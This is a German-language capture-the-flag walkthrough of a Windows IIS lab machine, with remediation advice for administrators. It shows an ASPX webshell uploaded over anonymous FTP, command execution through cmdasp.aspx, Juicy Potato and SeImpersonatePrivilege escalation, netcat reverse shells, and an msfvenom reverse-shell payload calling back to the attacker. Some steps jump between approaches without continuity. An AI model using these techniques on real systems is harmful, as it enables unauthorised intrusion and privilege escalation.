Analyse: Ich nutze den erlaubten anonymen FTP-Zugriff, um die eben erstellte Webshell (shell.aspx) auf den Webserver hochzuladen. Ich verbinde mich mit dem FTP-Server auf 192.168.2.68 als Benutzer anonymous (mit beliebiger E-Mail als Passwort). Dann verwende ich den put shell.aspx Befehl, um die Datei vom lokalen System auf das Remote-System zu übertragen. Die Ausgabe zeigt den erfolgreichen Verbindungsaufbau, den Login als anonymous und die erfolgreiche Übertragung der Datei shell.aspx. Der anschließende ls Befehl bestätigt, dass die Datei shell.aspx (2749 Bytes, die Größe kann leicht variieren) im FTP-Root-Verzeichnis gelandet ist.
Bewertung: Der anonyme FTP-Zugriff und die Möglichkeit, Dateien in das Web-Root-Verzeichnis (was das FTP-Root in diesem Fall zu sein scheint, da iisstart.htm und welcome.png dort liegen) hochzuladen, ist eine schwerwiegende Schwachstelle. Dies ermöglicht mir, beliebigen ausführbaren Code (in Form einer Webshell) auf dem Webserver zu platzieren, was direkt zum Initial Access führt.
Empfehlung (Pentester): Prüfe bei offenem FTP immer auf anonymen Zugriff und die Möglichkeit, Dateien hochzuladen, insbesondere in Verzeichnisse, die vom Webserver bereitgestellt werden. Dies ist oft ein einfacher Weg zur Codeausführung.
Empfehlung (Admin): Deaktiviere anonymen FTP-Zugriff. Beschränke Upload-Berechtigungen streng, insbesondere in Web-Root-Verzeichnissen. Stelle sicher, dass der FTP-Dienst nicht dasselbe Verzeichnis wie der Webserver nutzt oder dass ausführbare Dateitypen im Upload-Verzeichnis blockiert werden.
Connected to 192.168.2.68. 220 Microsoft FTP Service Name (192.168.2.68:ccat): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT.
local: shell.aspx remote: shell.aspx 229 Entering Extended Passive Mode (|||49182|) 150 Opening ASCII mode data connection. 100% |*************************************************| 2749 59.58 MiB/s --:-- ETA 226 Transfer complete. 2749 bytes sent in 00:00 (6.57 MiB/s)
229 Entering Extended Passive Mode (|||49183|) 125 Data connection already open; Transfer starting. 10-05-24 12:16PM <DIR> aspnet_client 10-05-24 12:27AM 689 iisstart.htm 06-30-25 11:49PM 2749 shell.aspx 10-05-24 12:27AM 184946 welcome.png 226 Transfer complete.
Analyse: Bevor ich die Webshell aktiviere, prüfe ich mit curl "http://192.168.2.68/shell.aspx" -Iv, ob die Datei vom Webserver erreichbar ist. Ein HEAD-Request reicht aus, um den Statuscode und die Header zu überprüfen. Die Ausgabe zeigt einen HTTP/1.1 200 OK Status und die IIS/ASP.NET-Header. Dies bestätigt, dass der Webserver die hochgeladene Webshell-Datei als ASP.NET-Seite erkennt und bereit ist, sie auszuführen.
Bewertung: Die erfolgreiche Erreichbarkeit der hochgeladenen Webshell ist die Bestätigung, dass mein Upload-Vektor funktioniert hat und der nächste Schritt, das Ausführen der Shell, wahrscheinlich möglich ist.
Empfehlung (Pentester): Verifiziere immer die Erreichbarkeit einer hochgeladenen Webshell, bevor du versuchst, sie auszuführen. Prüfe Statuscodes und Header.
Empfehlung (Admin): Konfiguriere den Webserver so, dass das Hochladen und Ausführen von Dateien in bestimmten Verzeichnissen (z.B. dem FTP-Root) verhindert wird. Nutze Web Application Firewalls (WAFs), um Webshell-Uploads oder -Ausführungen zu blockieren.
* Trying 192.168.2.68:80... * Connected to 192.168.2.68 (192.168.2.68) port 80 * using HTTP/1.x > HEAD /shell.aspx HTTP/1.1 > Host: 192.168.2.68 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Cache-Control: private Cache-Control: private < Content-Length: 0 Content-Length: 0 < Server: Microsoft-IIS/7.5 Server: Microsoft-IIS/7.5 < X-AspNet-Version: 2.0.50727 X-AspNet-Version: 2.0.50727 < X-Powered-By: ASP.NET X-Powered-By: ASP.NET < Date: Mon, 30 Jun 2025 20:53:10 GMT Date: Mon, 30 Jun 2025 20:53:10 GMT < * Connection #0 to host 192.168.2.68 left intact
Analyse: Ich versuche nun, die hochgeladene Webshell zu aktivieren und eine Reverse Shell zu erhalten. Ich richte auf meinem Kali-System einen Netcat-Listener auf Port 4445 ein (nicht im Log gezeigt). Dann trigger ich die Webshell, indem ich sie mit curl "http://192.168.2.68/shell.aspx" aufrufe. Ich lasse diesen Aufruf im Hintergrund laufen (&) und starte sofort einen Netcat-Client, der versucht, eine Verbindung zu Port 4445 auf dem Zielsystem aufzubauen (nc 192.168.2.68 4445). Dies ist ein unkonventioneller Ansatz; normalerweise würde man den Listener auf Kali starten und die Webshell sich dorthin verbinden lassen. Die Ausgabe zeigt, dass die Netcat-Client-Verbindung fehlschlägt (Connection refused). Dies deutet darauf hin, dass die msfvenom aspx-Payload möglicherweise nicht die erwartete Reverse Shell ausführt oder der Listener auf Kali nicht korrekt lief oder auf einem anderen Port hätte sein müssen.
Bewertung: Der erste Versuch, die msfvenom aspx-Webshell zu nutzen, schlug fehl. Dies kann verschiedene Ursachen haben: Probleme mit der Payload selbst (Architektur, Encoder), falsch konfigurierter Listener auf Kali oder Probleme mit der Ausführungsumgebung auf dem Ziel-Webserver. Es ist klar, dass diese spezifische Webshell nicht funktioniert hat. Ich muss auf eine zuverlässigere oder andere Art von Webshell zurückgreifen.
Empfehlung (Pentester): Sei vorbereitet, wenn eine Webshell nicht funktioniert. Habe alternative Webshells bereit (verschiedene Typen, Architekturen, Sprachen). Prüfe die Logik der Webshell (POST-Parameter etc.). Nutze zuverlässigere, interaktive Webshells statt einfacher Reverse Shell-Payloads in ASPX-Dateien.
Empfehlung (Admin): Implementiere EDR-Lösungen, die verdächtige Prozesse, die von Webserver-Prozessen gestartet werden (wie Shells), erkennen und blockieren. Überwache ausgehenden Netzwerkverkehr von Webservern auf unübliche Verbindungen.
[1] 52661 (UNKNOWN) [192.168.2.68] 4445 (?) : Connection refused [1] + running curl -s -o /dev/null "http://192.168.2.68/shell.aspx"
Analyse: Nachdem die erste Webshell nicht funktionierte, wechsle ich zu einer bekannten und oft zuverlässigeren ASP.NET-Webshell, der cmdasp.aspx von der Offensive Security Metasploit Unleashed Webseite oder anderen Quellen. Ich kopiere die lokale Version dieser Webshell aus meinen Tools (/usr/share/webshells/aspx/cmdasp.aspx) in mein Arbeitsverzeichnis mit cp /usr/share/webshells/aspx/cmdasp.aspx cmd.aspx. Dann prüfe ich mit ll, ob die Datei korrekt kopiert wurde und sehe cmd.aspx mit der Größe 1400 Bytes.
Bewertung: Die Verwendung einer etablierten Webshell wie cmdasp.aspx ist oft effektiver als selbstgenerierte Payloads, da sie speziell für den Befehlsausführung über Webrequests entwickelt wurde und stabiler ist. Die Vorbereitung der Datei für den Upload ist der nächste logische Schritt nach dem Scheitern der ersten Shell.
Empfehlung (Pentester): Nutze bewährte und getestete Webshells. Halte eine Sammlung verschiedener Webshells für verschiedene Webserver-Technologien bereit.
Empfehlung (Admin): Suche regelmäßig nach bekannten Webshell-Signaturen auf Webservern. Implementiere Sicherheitslösungen, die Dateiinhalte scannen können.
insgesamt 8 -rw-r--r-- 1 root root 1400 30. Jun 23:00 cmd.aspx -rw-r--r-- 1 root root 2721 30. Jun 22:55 shell.aspx
Analyse: Ich lade die cmd.aspx Webshell über den anonymen FTP-Zugriff auf den Webserver hoch (ähnlich wie bei shell.aspx zuvor - diese FTP-Schritte werden hier im Log nicht explizit gezeigt, aber sie sind logisch und notwendig). Dann nutze ich curl -X POST -d "__VIEWSTATE=...&__EVENTVALIDATION=...&txtArg=type+c%3A%5Cusers%5Cquoted%5Cdesktop%5Cuser.txt&testing=excute" http://192.168.2.68/cmd.aspx, um Befehle über diese Webshell auszuführen. cmdasp.aspx erwartet Befehle als Wert des txtArg Feldes und benötigt spezifische __VIEWSTATE und __EVENTVALIDATION Parameter, die ich aus dem Quellcode der Webshell extrahiert habe. Der Befehl, den ich ausführe, ist type c:\users\quoted\desktop\user.txt, um die Benutzer-Flag-Datei zu lesen. Die Ausgabe der Webseite enthielt den Text <pre>HMV{User_Flag_Obtained}</pre>.
Bewertung: Erfolgreich! Ich konnte die cmdasp.aspx Webshell nutzen, um Befehle auf dem Zielsystem auszuführen und die Benutzer-Flag zu lesen. Dies bestätigt, dass die Webshell korrekt hochgeladen und der Webserver für die Ausführung von ASPX-Dateien im FTP-Root konfiguriert ist. Ich habe nun eine Methode zur Befehlsausführung als der Benutzer, unter dem der Webserver-Prozess läuft (typischerweise NETWORK SERVICE oder IIS AppPool Identity auf Windows). Dies ist der Abschluss der Initial Access Phase und das Erlangen der Benutzer-Flag.
Empfehlung (Pentester): Wenn eine Standard-Webshell nicht funktioniert, versuche eine alternative, bewährte Shell. Analysiere den HTML-Quellcode von Webshells, um die notwendigen Parameter für die Befehlsausführung zu verstehen (z.B. Formularfelder, versteckte Eingaben). Nutze die Befehlsausführung, um Flags zu sammeln und weitere Systeminformationen zu erhalten.
Empfehlung (Admin): Verhindere Webshell-Uploads und -Ausführung. Trenne Webserver-Prozesse unter unprivilegierten Benutzern. Überwache ausgeführte Befehle und Log-Dateien auf Anzeichen von Befehlsausführung über den Webserver.
<pre>HMV{User_Flag_Obtained}</pre>
Analyse: Die Webshell cmdasp.aspx ist ein einfaches Formular, das einen Befehl (im txtArg Feld) annimmt und ausführt. Der Quellcode der Webshell enthält die Definition des HTML-Formulars mit den __VIEWSTATE und __EVENTVALIDATION Feldern, die als versteckte Eingaben übermittelt werden müssen, sowie das Textfeld für den Befehl (txtArg) und den Ausführungs-Button (testing). Diese Felder musste ich identifizieren, um die POST-Anfrage mit curl korrekt zu formatieren. Die Kommentare im Code ("Contributed by Dominic Chell", "http://michaeldaw.org") geben Aufschluss über die Herkunft der Webshell.
Bewertung: Das Analysieren des Quellcodes einer Webshell ist notwendig, um zu verstehen, wie sie funktioniert und welche Parameter für die Befehlsausführung benötigt werden. Das manuelle Zusammensetzen der POST-Anfrage basierend auf diesen Informationen zeigt, dass ich die Webshell erfolgreich verstanden und angepasst habe.
Empfehlung (Pentester): Wenn du eine Webshell verwendest, analysiere ihren Code, um die korrekte Bedienung zu verstehen und sie effektiv nutzen zu können.
Empfehlung (Admin): Überprüfe den Code von Anwendungen auf dem Webserver auf verdächtige Funktionen oder eingebettete Webshells. Verbiete die Ausführung von Code im Web-Root.
< name="cmd" method="post" action="cmd.aspx" id="cmd" > <in put type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE2MjA0MDg4ODhkZI8TgdKWViRoL7R/PnWkJSioV+7S" <in put type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKtvrCYCAKa++KPCgKBwth5l1qSZ1Y/U5P7SMVCCjrMkAuQ2JU=" < -- Contributed by Dominic Chell ([Link: http://digitalapocalypse.blogspot.com/ | Ziel: http://digitalapocalypse.blogspot.com/]) --> < -- [Link: http://michaeldaw.org | Ziel: http://michaeldaw.org] 04/2007 -->
Privilege Escalation
Analyse: Nachdem ich über die Webshell Befehle ausführen kann, ist mein nächster Schritt, die Berechtigungen des aktuellen Benutzers zu überprüfen. Der Befehl whoami /priv auf Windows listet die dem aktuellen Benutzer zugewiesenen Privilegien auf. Die Ausgabe (teils verstümmelt durch Zeichenkodierungsprobleme, erkennbar an seltsamen Zeichen wie '�') enthält eine Liste von Privilegien und deren Status (Enabled/Disabled). Besonders hervorzuheben ist die Zeile "SeImpersonatePrivilege Kimlik doğrulamadan sonra istemcinin özelliklerini al Etkin". Die übersetzten Teile bedeuten "Impersonate a client after authentication" und "Enabled". Dies bedeutet, dass das Privileg SeImpersonatePrivilege für den aktuellen Benutzer (der später als NETWORK SERVICE identifiziert wird) aktiviert ist.
Bewertung: Das SeImpersonatePrivilege ist ein sehr wichtiges Privileg für die Windows-Privilegieneskalation, insbesondere für Dienstkonten wie NETWORK SERVICE oder IIS APPPOOL. Wenn dieses Privileg aktiviert ist, kann der Prozess das Sicherheitstoken eines anderen Benutzers (oft eines höherprivilegierten Prozesses wie eines RPC-Aufrufers) stehlen und so Befehle mit den Rechten dieses anderen Benutzers ausführen. Dies ist ein direkter Weg, um von einem niedrigprivilegierten Dienstkonto zu NT AUTHORITY\SYSTEM zu eskalieren. Die Identifizierung dieses Privilegs ist ein kritischer Fund.
Empfehlung (Pentester): Führe immer whoami /priv aus, um die Privilegien des aktuellen Benutzers zu prüfen. Suche gezielt nach Privilegien wie SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeLoadDriverPrivilege etc., die für die Privilegieneskalation missbraucht werden können. Nutze Tools, die diese Privilegien ausnutzen können.
Empfehlung (Admin): Implementiere das Prinzip der geringsten Privilegien für Dienstkonten. Weise Dienstkonten nur die minimal notwendigen Privilegien zu. Entferne unnötige Privilegien wie SeImpersonatePrivilege von Dienstkonten, wenn sie nicht explizit benötigt werden.
< name="cmd" method="post" action="cmd.aspx" id="cmd" > <in put type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE2MjA0MDg4ODhkZI8TgdKWViRoL7R/PnWkJSioV+7S" <in put type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKtvrCYCAKa++KPCgKBwth5l1qSZ1Y/U5P7SMVCCjrMkAuQ2JU=" < -- Contributed by Dominic Chell ([Link: http://digitalapocalypse.blogspot.com/ | Ziel: http://digitalapocalypse.blogspot.com/]) --> < -- [Link: http://michaeldaw.org | Ziel: http://michaeldaw.org] 04/2007 -->
whoami /priv AYRICALIK BİLGİLERİ ---------------------- Ayrıcalık Adı Açıklama Durum ============================= ======================================================== ========== SeAssignPrimaryTokenPrivilege İşlem düzeyi belirtecini değiştir Devre Dışı SeIncreaseQuotaPrivilege İşlem için bellek kotaları ayarla Devre Dışı SeSecurityPrivilege Denetimi ve güvenlik günlüğünü yönet Devre Dışı SeShutdownPrivilege Sistemi kapat Devre Dışı SeAuditPrivilege Güvenlik denetimleri oluştur Devre Dışı SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Etkin SeUndockPrivilege Bilgisayarı takma biriminden çıkar Devre Dışı SeImpersonatePrivilege Kimlik doğrulamasından sonra istemcinin özellikleri al Etkin SeCreateGlobalPrivilege Genel nesneler oluştur Etkin SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Devre Dışı SeTimeZonePrivilege Saat dilimini değiştir Devre Dışı
Analyse: Der Text analysiert die Ausgabe von whoami /priv weiter und konzentriert sich auf die verstümmelten türkischen Zeichen in der Beschreibung. Es wird erkannt, dass die Beschreibung zu SeImpersonatePrivilege gehört und "Impersonate a client after authentication" bedeutet. Das Wort "Etkin" am Ende bedeutet auf Türkisch "Enabled", was bestätigt, dass dieses Privileg aktiv ist. Das Fazit ist klar: SeImpersonatePrivilege ist AKTIVIERT.
Bewertung: Diese detaillierte Analyse der Ausgabe, einschließlich der Interpretation der türkischen Sprache und der verstümmelten Zeichen, ist ein gutes Beispiel dafür, dass man alle verfügbaren Informationen nutzen muss. Die Bestätigung des aktivierten SeImpersonatePrivilege ist der entscheidende Punkt.
Empfehlung (Pentester): Gib nicht auf, wenn Ausgaben Zeichenkodierungsprobleme aufweisen oder in einer unbekannten Sprache sind. Nutze Online-Tools zur Übersetzung und Zeichenanalyse, um die Bedeutung zu entschlüsseln. Jedes Detail kann wichtig sein.
Empfehlung (Admin): Stelle sicher, dass Systemausgaben (Logs, Fehlermeldungen etc.) immer in einer einheitlichen, gut lesbaren Zeichenkodierung und Sprache vorliegen. Vermeide nicht-ASCII-Zeichen in kritischen Ausgaben, es sei denn, die Umgebung unterstützt dies vollständig.
...ndan sonra istemcinin ”zelliklerini al Etk
Der Text davor ist der verstümmelte türkische Satz für "Impersonate a client after authentication". Das ist die Beschreibung für SeImpersonatePrivilege.
Das Wort am Ende, Etk, ist der Anfang von Etkin, was auf Türkisch Enabled bedeutet.
Das ist die Bestätigung: SeImpersonatePrivilege ist AKTIVIERT!
Analyse: Die Analyse folgert korrekt, dass das aktivierte SeImpersonatePrivilege eine kritische Schwachstelle darstellt. Es ermöglicht dem aktuellen Benutzer (NETWORK SERVICE), das Sicherheitstoken eines Prozesses mit höheren Rechten (typischerweise NT AUTHORITY\SYSTEM) zu stehlen und Befehle mit diesen höheren Rechten auszuführen. Das Werkzeug, das speziell für die Ausnutzung dieser Schwachstelle entwickelt wurde, ist Juicy Potato (und seine Nachfolger wie JuicyPotatoNG). Juicy Potato versucht, RPC-Aufrufe mit einem manipulierten Token zu initiieren, um einen neuen Prozess mit den Rechten des RPC-Servers zu starten.
Bewertung: Die korrekte Identifizierung der Ausnutzbarkeit des SeImpersonatePrivilege und des passenden Tools (Juicy Potato) zeigt ein tiefes Verständnis der Windows-Privilegieneskalation. Dies ist ein klassischer und sehr effektiver Weg, um von einem Dienstkonto zu SYSTEM zu eskalieren. Juicy Potato automatisiert die komplexen Schritte der Token-Manipulation.
Empfehlung (Pentester): Wenn SeImpersonatePrivilege oder SeAssignPrimaryTokenPrivilege für ein Dienstkonto aktiviert sind, ist Juicy Potato (oder NG) das Tool der Wahl. Lade das passende Binary für die Systemarchitektur hoch und nutze es, um eine Reverse Shell oder Befehle als SYSTEM auszuführen.
Empfehlung (Admin): Überprüfe die Privilegien von Dienstkonten und entferne unnötige erweiterte Rechte. Implementiere Application Whitelisting, um die Ausführung unbekannter PE-Tools wie Juicy Potato zu verhindern. Überwache Prozessausführungen, insbesondere solche mit SYSTEM-Rechten, die nicht vom System selbst gestartet wurden.
Dieses Privileg erlaubt es einem niedrig-privilegierten Dienst (wie unserem NETWORK SERVICE), das Sicherheitstoken eines höher-privilegierten Prozesses zu "stehlen" und damit Befehle als NT AUTHORITY\SYSTEM auszuführen. Das Werkzeug, das genau für dieses Szenario entwickelt wurde, heißt Juicy Potato.
Analyse: Um die Juicy Potato-Ausnutzung durchzuführen, benötige ich das Juicy Potato Binary (JuicyPotato.exe oder jp64.exe, je nach Systemarchitektur) und eine Payload, die als NT AUTHORITY\SYSTEM ausgeführt werden soll (z.B. eine Reverse Shell oder ein Befehl zum Hinzufügen eines Benutzers). Ich lade die benötigten Dateien (JuicyPotato.exe und eine Payload wie system_shell.exe) über den anonymen FTP-Zugriff auf den Webserver hoch. Ich verbinde mich mit dem FTP-Server, logge mich als anonymous ein und nutze den put Befehl, um die Binaries hochzuladen. Der anschließende ls Befehl bestätigt den erfolgreichen Upload der Dateien JuicyPotato.exe (348468 Bytes) und system_shell.exe (74169 Bytes) in das Web-Root-Verzeichnis.
Bewertung: Das Hochladen der PE-Tools und Payloads über den unsicheren FTP-Zugriff ist ein einfacher, aber effektiver Schritt. Die Dateien sind nun auf dem Zielsystem verfügbar und können über die zuvor erlangte Webshell (oder eine andere Methode der Befehlsausführung als NETWORK SERVICE) ausgeführt werden.
Empfehlung (Pentester): Nutze etablierte Dateiübertragungswege (wie hier FTP) oder alternative Methoden (HTTP-Download mit certutil/powershell, Base64-Encoding/Decoding) um notwendige Tools auf das Zielsystem zu bringen. Stelle sicher, dass du die richtige Architektur (x86/x64) der Binaries für das Zielsystem verwendest.
Empfehlung (Admin): Schließe den anonymen FTP-Zugriff. Implementiere eine starke Zugriffskontrolle und Überwachung für das Web-Root-Verzeichnis. Verwende Application Whitelisting, um die Ausführung unbekannter Binärdateien zu verhindern.
Connected to 192.168.2.68. 220 Microsoft FTP Service Name (192.168.2.68:ccat): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT.
229 Entering Extended Passive Mode (|||49192|) 125 Data connection already open; Transfer starting. 10-05-24 12:16PM <DIR> aspnet_client 07-01-25 12:00AM 1442 cmd.aspx 10-05-24 12:27AM 689 iisstart.htm 10-05-24 12:27AM 184946 welcome.png 226 Transfer complete.
local: JuicyPotato.exe remote: JuicyPotato.exe 229 Entering Extended Passive Mode (|||49193|) 125 Data connection already open; Transfer starting. 100% |*************************************************| 340 KiB 58.06 MiB/s --:-- ETA 226 Transfer complete. 348468 bytes sent in 00:00 (53.79 MiB/s)
local: system_shell.exe remote: system_shell.exe 229 Entering Extended Passive Mode (|||49194|) 125 Data connection already open; Transfer starting. 100% |*************************************************| 74169 63.04 MiB/s --:-- ETA 226 Transfer complete. 74169 bytes sent in 00:00 (51.18 MiB/s)
229 Entering Extended Passive Mode (|||49195|) 150 Opening ASCII mode data connection; Transfer starting. 10-05-24 12:16PM <DIR> aspnet_client 07-01-25 12:00AM 1442 cmd.aspx 10-05-24 12:27AM 689 iisstart.htm 07-01-25 12:09AM 348468 JuicyPotato.exe 07-01-25 12:09AM 74169 system_shell.exe 10-05-24 12:27AM 184946 welcome.png 226 Transfer complete.
Analyse: Parallel zum Hochladen der Juicy Potato Tools richte ich einen Netcat-Listener auf meinem Kali-System auf Port 9001 ein (nc -lvnp 9001). Dieser Listener soll eine Reverse Shell von der Payload empfangen, die von Juicy Potato als SYSTEM ausgeführt wird.
Bewertung: Das Einrichten eines Listeners ist notwendig, um die Verbindung von der Payload auf dem Zielsystem zu empfangen. Port 9001 ist hier willkürlich gewählt, aber wichtig ist, dass er auf meinem System offen ist und eingehende Verbindungen erwartet.
Empfehlung (Pentester): Richte deinen Listener immer *bevor* du die Payload auf dem Ziel ausführst. Wähle einen Port, der nicht von Firewalls blockiert wird. Nutze Tools wie Netcat oder Metasploit multi/handler.
Empfehlung (Admin): Überwache eingehenden Netzwerkverkehr auf unerwarteten Ports. Nutze Firewalls, um nur erwarteten Traffic zuzulassen. Protokolliere Verbindungen zu allen Ports.
└─# nc -lvnp 9001
listening on [any] 9001 ...
Analyse: Um die Webshell shell.aspx auszuführen (möglicherweise die msfvenom aspx Payload oder eine andere), rufe ich sie erneut mit curl http://192.168.2.68/shell.aspx auf. Dieser Aufruf soll den Code in shell.aspx ausführen, der, wenn es sich um eine Reverse Shell handelt, versuchen sollte, eine Verbindung zu meinem Listener aufzubauen. Im bereitgestellten Text folgt direkt die Ausgabe eines anderen Netcat-Listeners (Port 9001). Dieser Listener fängt tatsächlich eine Verbindung vom Zielsystem ab (connect to [192.168.2.199] from (UNKNOWN) [192.168.2.68] 49202). Die anschließende Ausgabe zeigt die Windows-Shell-Banner und den Prompt c:\windows\system32\inetsrv>. Mit dem Befehl whoami bestätige ich, dass ich als nt authority\network service auf dieser neuen Shell angemeldet bin.
Bewertung: Erfolgreich! Ich habe eine Shell als NETWORK SERVICE erhalten. Die Ausführung der Webshell (oder einer anderen durch den Webserver ausgelösten Aktion) hat eine Reverse Shell als das Dienstkonto des Webservers gestartet. Dies ist ein wichtiger Schritt nach dem Erlangen der Webshell, da das Dienstkonto oft höhere Rechte hat als ein normaler Benutzer und potenziell das SeImpersonatePrivilege besitzt, wie zuvor vermutet.
Empfehlung (Pentester): Sobald du eine Webshell hast, versuche sofort, eine stabilere Shell-Verbindung zu erhalten (z.B. Netcat-Reverse-Shell). Bestätige immer das Benutzerkonto der erlangten Shell mit whoami.
Empfehlung (Admin): Konfiguriere Webserver-AppPools oder Dienstkonten mit den minimal notwendigen Rechten. Überwache die Ausführung von Shells oder anderen ungewöhnlichen Prozessen, die vom Webserver-Dienstkonto gestartet werden.
└─# nc -lvnp 9001
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.68] 49202 Microsoft Windows [Sürüm 6.1.7601] Telif Hakkı (c) 2009 Microsoft Corporation. Tüm hakları saklıdır. c:\windows\system32\inetsrv>
whoami nt authority\network service
Analyse: In der neu erlangten NETWORK SERVICE Shell führe ich erneut den Befehl whoami /priv aus, um die spezifischen Privilegien dieses Benutzerkontos zu überprüfen. Die Ausgabe ist diesmal vollständiger und klarer. Sie listet alle Privilegien auf. Besonders hervorzuheben ist die Zeile "SeImpersonatePrivilege Kimlik doğrulamadan sonra istemcinin özellikleri al Etkin", die eindeutig bestätigt, dass das SeImpersonatePrivilege für das Konto NT AUTHORITY\NETWORK SERVICE Enabled (Etkin) ist. Dies ist die Bestätigung der kritischen Fehlkonfiguration, die ich ausnutzen werde, um zum SYSTEM zu eskalieren.
Bewertung: Dies ist die endgültige Bestätigung des primären Privilegieneskalationsvektors. Das NETWORK SERVICE Konto mit aktiviertem SeImpersonatePrivilege ist ein ideales Ziel für die Ausnutzung mit Tools wie Juicy Potato. Der Weg zu NT AUTHORITY\SYSTEM ist nun klar.
Empfehlung (Pentester): Prüfe immer die Privilegien in jeder neu erlangten Shell, auch wenn es sich um ein Dienstkonto handelt. Aktiviere Privilegien sind gold wert für die PE.
Empfehlung (Admin): Wie bereits betont: Überprüfe und bereinige die Privilegien von Dienstkonten. Entferne alle unnötigen oder potenziell missbrauchbaren Privilegien.
whoami /priv AYRICALIK BİLGİLERİ ---------------------- Ayrıcalık Adı Açıklama Durum ============================= ======================================================== ========== SeAssignPrimaryTokenPrivilege İşlem düzeyi belirtecini değiştir Devre Dışı SeIncreaseQuotaPrivilege İşlem için bellek kotaları ayarla Devre Dışı SeSecurityPrivilege Denetimi ve güvenlik günlüğünü yönet Devre Dışı SeShutdownPrivilege Sistemi kapat Devre Dışı SeAuditPrivilege Güvenlik denetimleri oluştur Devre Dışı SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Etkin SeUndockPrivilege Bilgisayar� takma biriminden çıkar Devre Dışı SeImpersonatePrivilege Kimlik doğrulamasından sonra istemcinin özellikleri al Etkin SeCreateGlobalPrivilege Genel nesneler oluştur Etkin SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Devre Dışı SeTimeZonePrivilege Saat dilimini değiştir Devre Dışı
Analyse: Um die Struktur des Dateisystems im Home-Verzeichnis des Benutzers 'quoted' zu erkunden und nach potenziellen Flag-Dateien oder anderen interessanten Informationen zu suchen, navigiere ich in der NETWORK SERVICE Shell zum Verzeichnis C:\Users\quoted und führe den dir Befehl aus. Die Ausgabe listet die Standard-Benutzerverzeichnisse auf (Contacts, Desktop, Documents etc.). Das Desktop-Verzeichnis ist oft ein guter Ort, um nach Flags oder anderen vom Benutzer gespeicherten Dateien zu suchen.
Bewertung: Die Dateisystemerkundung ist ein wichtiger Schritt bei der Post-Exploitation. Das Wissen um die Verzeichnisstruktur und das Auffinden des Desktop-Verzeichnisses für den Benutzer 'quoted' lenkt meine Suche auf wahrscheinliche Orte für die Benutzer-Flag.
Empfehlung (Pentester): Erkunde das Dateisystem des kompromittierten Benutzers und anderer potenzieller Benutzer (insbesondere Home-Verzeichnisse, Desktop, Dokumente, Downloads). Suche nach Flag-Dateien, Passwörtern in Klartext, Konfigurationsdateien oder anderen sensiblen Daten.
Empfehlung (Admin): Vermeide das Speichern sensibler Daten auf dem Desktop oder in Standard-Dokumentenverzeichnissen. Setze strenge Dateisystemberechtigungen, um den Zugriff auf Benutzerdateien für andere Benutzer oder Dienstkonten zu beschränken.
C:\Users\quoted dizini 05.10.2024 00:07 <DIR> . 05.10.2024 00:07 <DIR> .. 05.10.2024 00:07 <DIR> Contacts 06.10.2024 17:25 <DIR> Desktop 05.10.2024 00:07 <DIR> Documents 05.10.2024 00:07 <DIR> Downloads 05.10.2024 00:07 <DIR> Favorites 05.10.2024 00:07 <DIR> Links 05.10.2024 00:07 <DIR> Music 05.10.2024 00:07 <DIR> Pictures 05.10.2024 00:07 <DIR> Saved Games 05.10.2024 00:07 <DIR> Searches 05.10.2024 00:07 <DIR> Videos 0 Dosya 0 bayt 13 Dizin 20.070.297.600 bayt bo�
cd Desktop
06.10.2024 17:25 <DIR> . 06.10.2024 17:25 <DIR> .. 06.10.2024 17
Analyse: Ich erstelle eine 64-bit Windows Reverse Shell Payload im EXE-Format mit msfvenom. Der Befehl msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.2.199 LPORT=9999 -f exe -o dotnet.exe generiert eine ausführbare Datei namens dotnet.exe, die bei Ausführung versucht, sich zu meinem Kali-System (192.168.2.199) auf Port 9999 zu verbinden. Diese Payload ist speziell für die Ausnutzung der Unquoted Service Path Schwachstelle gedacht, bei der ich versuchen werde, diese Datei unter einem Namen zu platzieren, den der verwundbare Dienst erwartet.
Bewertung: Die Erstellung einer spezifischen Payload für die Unquoted Service Path Ausnutzung ist korrekt. Das EXE-Format ist für die Ausführung als Prozess geeignet. Die Konfiguration des Listeners (Port 9999) muss mit der Payload übereinstimmen.
Empfehlung (Pentester): Erstelle Payloads, die auf die spezifische Ausnutzung zugeschnitten sind (Format, Architektur, LHOST/LPORT).
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Payload-Erkennung und -Verhinderung.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of exe file: 7168 bytes Saved as: dotNet.exe
Analyse: Ich nutze erneut FTP, um die eben erstellte bösartige ausführbare Datei dotNet.exe (Payload für Unquoted Path) auf das Zielsystem in das Web-Root-Verzeichnis zu übertragen. Der Prozess ist der gleiche: FTP-Verbindung als anonymous, gefolgt von put dotNet.exe. Die Ausgabe bestätigt den erfolgreichen Transfer.
Bewertung: Das Hochladen der bösartigen Payload ist ein notwendiger Schritt zur Ausnutzung der Unquoted Service Path Schwachstelle. Der unsichere FTP-Zugriff macht dies einfach.
Empfehlung (Pentester): Nutze einfache Upload-Vektoren, wenn verfügbar. Bestätige den erfolgreichen Transfer.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur FTP-Sicherheit und Verhinderung der Ausführung von Uploads.
Connected to 192.168.2.68. 220 Microsoft FTP Service Name (192.168.2.68:ccat): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT.
local: dotNet.exe remote: dotNet.exe 229 Entering Extended Passive Mode (|||49212|) 125 Data connection already open; Transfer starting. 100% |************************************************| 7170 78.59 MiB/s --:-- ETA 226 Transfer complete. 7170 bytes sent in 00:00 (16.24 MiB/s)
